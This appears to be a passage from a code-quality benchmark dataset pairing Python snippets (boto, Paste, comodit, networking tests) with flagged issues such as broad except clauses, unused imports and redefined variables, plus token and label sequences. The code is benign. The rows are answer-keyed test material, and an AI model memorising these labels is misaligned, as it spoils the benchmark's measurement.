query_name
stringlengths
13
55
code_file_path
stringlengths
14
194
context_blocks
list
answer_spans
list
supporting_fact_spans
list
example_type
int8
0
1
single_hop
bool
2 classes
subtokenized_input_sequence
list
label_sequence
list
Except block handles 'BaseException'
darcyliu/storyboard/boto/sqs/message.py
[ { "content": " def decode(self, value):\n try:\n value = base64.b64decode(value)\n except:\n boto.log.warning('Unable to decode message')\n return value\n return value", "metadata": "root.Message.decode", "header": "['class', 'Message', '(', 'RawMessage', ')', ':', '___EOS___']", "index": 155 } ]
[ { "span": "except:", "start_line": 158, "start_column": 8, "end_line": 158, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Message_", "(_", "Ra", "w", "Message_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "decode_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "base64_", "._", "b64decode_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "boto_", "._", "log_", "._", "warning_", "(_", "'", "Una", "ble", " ", "to", " ", "decode", " ", "message", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
cloudera/hue/desktop/core/ext-py/Paste-2.0.1/tests/test_fixture.py
[ { "content": "def test_fixture():\n app = TestApp(SimpleApplication())\n res = app.get('/', params={'a': ['1', '2']})\n assert (res.request.environ['QUERY_STRING'] ==\n 'a=1&a=2')\n res = app.put('/')\n assert (res.request.environ['REQUEST_METHOD'] ==\n 'PUT')\n res = app.delete('/')\n assert (res.request.environ['REQUEST_METHOD'] ==\n 'DELETE')\n class FakeDict(object):\n def items(self):\n return [('a', '10'), ('a', '20')]\n res = app.post('/params', params=FakeDict())\n\n # test multiple cookies in one request\n app.cookies['one'] = 'first';\n app.cookies['two'] = 'second';\n app.cookies['three'] = '';\n res = app.get('/')\n hc = res.request.environ['HTTP_COOKIE'].split('; ');\n assert ('one=first' in hc)\n assert ('two=second' in hc)\n assert ('three=' in hc)", "metadata": "root.test_fixture", "header": "['module', '___EOS___']", "index": 3 } ]
[ { "span": "res ", "start_line": 17, "start_column": 4, "end_line": 17, "end_column": 7 } ]
[ { "span": "res ", "start_line": 23, "start_column": 4, "end_line": 23, "end_column": 7 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "test\\u", "fixture_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "app_", "=_", "Test", "App_", "(_", "Simple", "Application_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "app_", "._", "get_", "(_", "'/'_", ",_", "params_", "=_", "{_", "'", "a", "'_", ":_", "[_", "'", "1", "'_", ",_", "'", "2", "'_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "(_", "res_", "._", "request_", "._", "environ_", "[_", "'", "QUE", "RY", "\\u", "STRING", "'_", "]_", "==_", "\\u\\u\\uNL\\u\\u\\u_", "'", "a", "=", "1", "&", "a", "=", "2", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "app_", "._", "put_", "(_", "'/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "(_", "res_", "._", "request_", "._", "environ_", "[_", "'", "REQUEST", "\\u", "METH", "OD", "'_", "]_", "==_", "\\u\\u\\uNL\\u\\u\\u_", "'", "PU", "T", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "app_", "._", "delete_", "(_", "'/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "(_", "res_", "._", "request_", "._", "environ_", "[_", "'", "REQUEST", "\\u", "METH", "OD", "'_", "]_", "==_", "\\u\\u\\uNL\\u\\u\\u_", "'", "DELET", "E", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class_", "Fake", "Dict_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "items_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "[_", "(_", "'", "a", "'_", ",_", "'", "10", "'_", ")_", ",_", "(_", "'", "a", "'_", ",_", "'", "20", "'_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "app_", "._", "post_", "(_", "'/", "params", "'_", ",_", "params_", "=_", "Fake", "Dict_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "test", " ", "multiple", " ", "cookie", "s", " ", "in", " ", "one", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "app_", "._", "cookies_", "[_", "'", "one", "'_", "]_", "=_", "'", "first", "'_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "._", "cookies_", "[_", "'", "two", "'_", "]_", "=_", "'", "second", "'_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "app_", "._", "cookies_", "[_", "'", "three", "'_", "]_", "=_", "''_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res_", "=_", "app_", "._", "get_", "(_", "'/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hc_", "=_", "res_", "._", "request_", "._", "environ_", "[_", "'", "HTTP", "\\u", "COOKIE", "'_", "]_", "._", "split_", "(_", "';", " ", "'_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "(_", "'", "one", "=", "first", "'_", "in_", "hc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "(_", "'", "two", "=", "second", "'_", "in_", "hc_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "(_", "'", "three", "='_", "in_", "hc_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
comodit/demos/ceph-cluster/helper.py
[ { "content": "import time, sys, os, config\n\nfrom comodit_client.api.exceptions import PythonApiException\nfrom comodit_client.rest.exceptions import ApiException\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def create_host(env, name, platform, distribution, applications = []):\n print \"Defining host %s\" % name\n host = env.hosts().create(name, \"\", platform['name'], distribution['name'])\n\n # Configure platform\n context = host.get_platform()\n for key, value in platform['settings'].iteritems():\n context.settings().create(key, value)\n\n # Configure distribution\n context = host.get_distribution()\n for key, value in distribution['settings'].iteritems():\n context.settings().create(key, value)\n\n # Install applications\n for app in applications:\n host.install(app['name'], app['settings'])\n\n return host", "metadata": "root.create_host", "header": "['module', '___EOS___']", "index": 5 }, { "content": "def get_short_hostname(hostname):\n parts = hostname.split('.')\n return parts[0]", "metadata": "root.get_short_hostname", "header": "['module', '___EOS___']", "index": 25 }, { "content": "def get_latest_id(prefix, env):\n names = env.hosts_f\n last_id = -1\n for name in names:\n if name.startswith(prefix):\n i = int(name[len(prefix):].rstrip())\n if i > last_id:\n last_id = i\n return last_id", "metadata": "root.get_latest_id", "header": "['module', '___EOS___']", "index": 29 } ]
[ { "span": "import time, sys, os, config", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 28 }, { "span": "from comodit_client.api.exceptions import PythonApiException", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 60 }, { "span": "from comodit_client.rest.exceptions import ApiException", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 55 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "import_", "time_", ",_", "sys_", ",_", "os_", ",_", "config_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "com", "odi", "t", "\\u", "client_", "._", "api_", "._", "exceptions_", "import_", "Pyth", "on", "Ap", "i", "Exception_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "com", "odi", "t", "\\u", "client_", "._", "rest_", "._", "exceptions_", "import_", "Ap", "i", "Exception_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "create", "\\u", "host_", "(_", "env_", ",_", "name_", ",_", "platform_", ",_", "distribution_", ",_", "applications_", "=_", "[_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "Def", "inin", "g", " ", "host", " ", "%", "s", "\"_", "%_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "env_", "._", "hosts_", "(_", ")_", "._", "create_", "(_", "name_", ",_", "\"\"_", ",_", "platform_", "[_", "'", "name", "'_", "]_", ",_", "distribution_", "[_", "'", "name", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Configure", " ", "platform_", "\\u\\u\\uNL\\u\\u\\u_", "context_", "=_", "host_", "._", "get", "\\u", "platform_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", ",_", "value_", "in_", "platform_", "[_", "'", "settings", "'_", "]_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "context_", "._", "settings_", "(_", ")_", "._", "create_", "(_", "key_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Configure", " ", "distribution_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "context_", "=_", "host_", "._", "get", "\\u", "distribution_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", ",_", "value_", "in_", "distribution_", "[_", "'", "settings", "'_", "]_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "context_", "._", "settings_", "(_", ")_", "._", "create_", "(_", "key_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Install", " ", "applications_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "app_", "in_", "applications_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "host_", "._", "install_", "(_", "app_", "[_", "'", "name", "'_", "]_", ",_", "app_", "[_", "'", "settings", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "host_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "short", "\\u", "hostname_", "(_", "hostname_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "parts_", "=_", "hostname_", "._", "split_", "(_", "'.'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "parts_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "late", "st", "\\u", "id_", "(_", "prefix_", ",_", "env_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "names_", "=_", "env_", "._", "host", "s", "\\u", "f_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "\\u", "id_", "=_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "name_", "in_", "names_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "name_", "._", "startswith_", "(_", "prefix_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i_", "=_", "int_", "(_", "name_", "[_", "len_", "(_", "prefix_", ")_", ":_", "]_", "._", "rstrip_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "i_", ">_", "last", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "last", "\\u", "id_", "=_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "last", "\\u", "id_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
openstack/networking-cisco/networking_cisco/tests/unit/cisco/cpnr/test_netns.py
[ { "content": " @mock.patch('subprocess.check_output')\n def test_iflist(self, mock_check_output):\n ip_addr_str = (\n b'1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue\\n'\n b' link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\\n'\n b' inet 127.0.0.1/8 scope host lo\\n'\n b' inet6 ::1/128 scope host\\n'\n b' valid_lft forever preferred_lft forever\\n '\n b'2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500'\n b' qdisc pfifo_fast qlen 1000\\n '\n b' link/ether 00:00:00:00:00:00 brd ff:ff:ff:ff:ff:ff\\n'\n b' inet 10.1.1.1/24 brd 10.1.1.255 scope global eth0\\n'\n b' inet6 1111:2222:3333:4444:5555/64 scope link\\n'\n b' valid_lft forever preferred_lft forever\\n'\n b'3: sit0: <NOARP> mtu 1480 qdisc noop\\n'\n b' link/sit 0.0.0.0 brd 0.0.0.0')\n\n mock_check_output.return_value = ip_addr_str\n interfaces = iflist()\n name, addr, mask = interfaces[0]\n self.assertEqual(b'lo', name)\n self.assertEqual(b'127.0.0.1', addr)\n self.assertEqual(b'8', mask)\n name, addr, mask = interfaces[1]\n self.assertEqual(b'eth0', name)\n self.assertEqual(b'10.1.1.1', addr)\n self.assertEqual(b'24', mask)\n\n # check ignore option\n interfaces = iflist(ignore=(b\"lo\",))\n name, addr, mask = interfaces[0]\n self.assertEqual(b'eth0', name)\n self.assertEqual(b'10.1.1.1', addr)\n self.assertEqual(b'24', mask)\n with self.assertRaises(IndexError):\n name, addr, mask = interfaces[1]\n\n interfaces = iflist(ignore=(b\"eth0\",))\n name, addr, mask = interfaces[0]\n self.assertEqual(b'lo', name)\n self.assertEqual(b'127.0.0.1', addr)\n self.assertEqual(b'8', mask)\n with self.assertRaises(IndexError):\n name, addr, mask = interfaces[1]\n\n # test with no input\n mock_check_output.return_value = ''\n interfaces = iflist()\n with self.assertRaises(IndexError):\n name, addr, mask = interfaces[0]", "metadata": "root.TestNetNs.test_iflist", "header": "['class', 'TestNetNs', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 39 } ]
[ { "span": "name,", "start_line": 74, "start_column": 12, "end_line": 74, "end_column": 16 }, { "span": "addr,", "start_line": 74, "start_column": 18, "end_line": 74, "end_column": 22 }, { "span": "mask ", "start_line": 74, "start_column": 24, "end_line": 74, "end_column": 28 }, { "span": "name,", "start_line": 82, "start_column": 12, "end_line": 82, "end_column": 16 }, { "span": "addr,", "start_line": 82, "start_column": 18, "end_line": 82, "end_column": 22 }, { "span": "mask ", "start_line": 82, "start_column": 24, "end_line": 82, "end_column": 28 } ]
[ { "span": "name,", "start_line": 77, "start_column": 8, "end_line": 77, "end_column": 12 }, { "span": "addr,", "start_line": 77, "start_column": 14, "end_line": 77, "end_column": 18 }, { "span": "mask ", "start_line": 77, "start_column": 20, "end_line": 77, "end_column": 24 }, { "span": "name,", "start_line": 88, "start_column": 12, "end_line": 88, "end_column": 16 }, { "span": "addr,", "start_line": 88, "start_column": 18, "end_line": 88, "end_column": 22 }, { "span": "mask ", "start_line": 88, "start_column": 24, "end_line": 88, "end_column": 28 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Test", "Net", "Ns_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "mock_", "._", "patch_", "(_", "'", "subproc", "ess", ".", "check", "\\u", "output", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "ifl", "ist_", "(_", "self_", ",_", "mock", "\\u", "check", "\\u", "output_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ip", "\\u", "addr", "\\u", "str_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "1", ":", " ", "lo", ":", " ", "<", "LOOP", "BACK", ",", "UP", ",", "LOWER", "\\u", "UP", ">", " ", "mtu", " ", "164", "3", "6", " ", "qd", "isc", " ", "no", "queue", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", " ", " ", "link", "/", "loopback", " ", "00", ":", "00", ":", "00", ":", "00", ":", "00", ":", "00", " ", "brd", " ", "00", ":", "00", ":", "00", ":", "00", ":", "00", ":", "00", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", " ", " ", "inet", " ", "127", ".0", ".0", ".1", "/", "8", " ", "scope", " ", "host", " ", "lo", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", " ", " ", "inet", "6", " ", "::", "1", "/", "128", " ", "scope", " ", "host", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", " ", " ", "valid", "\\u", "lft", " ", "forever", " ", "prefer", "red", "\\u", "lft", " ", "forever", "\\\\", "n", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "2", ":", " ", "eth", "0", ":", " ", "<", "BROADCAST", ",", "MULTI", "CAST", ",", "UP", ",", "LOWER", "\\u", "UP", ">", " ", "mtu", " ", "150", "0", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", " ", "qd", "isc", " ", "pfif", "o", "\\u", "fast", " ", "ql", "en", " ", "1000", "\\\\", "n", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", " ", " ", "link", "/", "ether", " ", "00", ":", "00", ":", "00", ":", "00", ":", "00", ":", "00", " ", "brd", " ", "ff", ":", "ff", ":", "ff", ":", "ff", ":", "ff", ":", "ff", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", " ", " ", "inet", " ", "10.1", ".1", ".1", "/", "24", " ", "brd", " ", "10.1", ".1", ".2", "5", "5", " ", "scope", " ", "global", " ", "eth", "0", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", " ", " ", "inet", "6", " ", "1111", ":", "2222", ":", "3333", ":", "4444", ":", "5555", "/", "64", " ", "scope", " ", "link", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", " ", " ", "valid", "\\u", "lft", " ", "forever", " ", "prefer", "red", "\\u", "lft", " ", "forever", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "3", ":", " ", "sit", "0", ":", " ", "<", "NO", "ARP", ">", " ", "mtu", " ", "148", "0", " ", "qd", "isc", " ", "noop", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", " ", " ", "link", "/", "sit", " ", "0.", "0.", "0.", "0", " ", "brd", " ", "0.", "0.", "0.", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mock", "\\u", "check", "\\u", "output_", "._", "return", "\\u", "value_", "=_", "ip", "\\u", "addr", "\\u", "str_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "interfaces_", "=_", "ifl", "ist_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", ",_", "addr_", ",_", "mask_", "=_", "interfaces_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "b", "'", "lo", "'_", ",_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "b", "'", "127", ".0", ".0", ".1", "'_", ",_", "addr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "b", "'", "8", "'_", ",_", "mask_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", ",_", "addr_", ",_", "mask_", "=_", "interfaces_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "b", "'", "eth", "0", "'_", ",_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "b", "'", "10.1", ".1", ".1", "'_", ",_", "addr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "b", "'", "24", "'_", ",_", "mask_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "ignore", " ", "option_", "\\u\\u\\uNL\\u\\u\\u_", "interfaces_", "=_", "ifl", "ist_", "(_", "ignore_", "=_", "(_", "b", "\"", "lo", "\"_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", ",_", "addr_", ",_", "mask_", "=_", "interfaces_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "b", "'", "eth", "0", "'_", ",_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "b", "'", "10.1", ".1", ".1", "'_", ",_", "addr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "b", "'", "24", "'_", ",_", "mask_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "assert", "Raises_", "(_", "Index", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", ",_", "addr_", ",_", "mask_", "=_", "interfaces_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "interfaces_", "=_", "ifl", "ist_", "(_", "ignore_", "=_", "(_", "b", "\"", "eth", "0", "\"_", ",_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", ",_", "addr_", ",_", "mask_", "=_", "interfaces_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "b", "'", "lo", "'_", ",_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "b", "'", "127", ".0", ".0", ".1", "'_", ",_", "addr_", 